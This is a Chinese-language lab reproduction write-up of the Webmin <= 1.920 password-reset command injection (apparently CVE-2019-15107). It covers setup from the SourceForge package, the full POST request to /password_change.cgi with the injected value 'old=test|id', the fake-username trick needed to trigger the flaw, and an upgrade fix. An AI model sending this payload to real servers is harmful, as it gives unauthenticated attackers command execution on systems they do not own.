0X1 漏洞概述
Webmin的是一个用于管理类Unix的系统的管理配置工具,具有网络页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。它已知在端口10000上运行。在重置密码功能中发现了一个错误,该错误允许恶意第三方由于缺少输入验证而执行恶意代码。
影响版本
Webmin <= 1.920
0X2 环境搭建
根据最新消息,该应用在官方提供的sourceforge下载的源码才包含这个漏洞,而官方Github上的代码是安全的。这也证明这个RCE漏洞很有可能是一次供应链攻击,黑客控制了官方sourceforge账户并植入了后门。在sourceforge上下载,链接如下
https://sourceforge.net/projects/webadmin/files/webmin/1.920/
在这里,我们下载deb安装包,在ubuntu16.04中安装,如下:
如果报错,按照提示更新系统就可以了。安装成功之后,以root账户身份登录即可。
https://192.167.0.217:10000/sysinfo.cgi?xnavigation=1
登录之后点击authentication修改密码重置配置
查看配置文件
cat /etc/webmin/miniserv.conf
0X3 漏洞利用
访问/password_change.cgi链接,抓包注入命令
POST /password_change.cgi HTTP/1.1
Host: 192.167.0.217:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: redirect=1; testing=1; sid=2c97114272115f9e3e52307ff418b31d; sessiontest=1
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 60
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
这里的user值要是用的是一个假的用户,使用真实的root测试不成功,只有在发送的用户参数的值不是已知的Linux用户的情况下(而参考链接中是user=root123),展示进入才会到修改/etc/shadow的地方,触发命令注入漏洞
查看response
可以看到命令执行成功!
0X3 漏洞修复
升级到最新的1.9.30版本即可
参考链接
http://www.webmin.com/index.html
https://www.exploit-db.com/exploits/47230
https://blog.firosolutions.com/exploits/webmin/
https://github.com/vulhub/vulhub/blob/master/webmin/CVE-2019-15107/README.zh-cn.md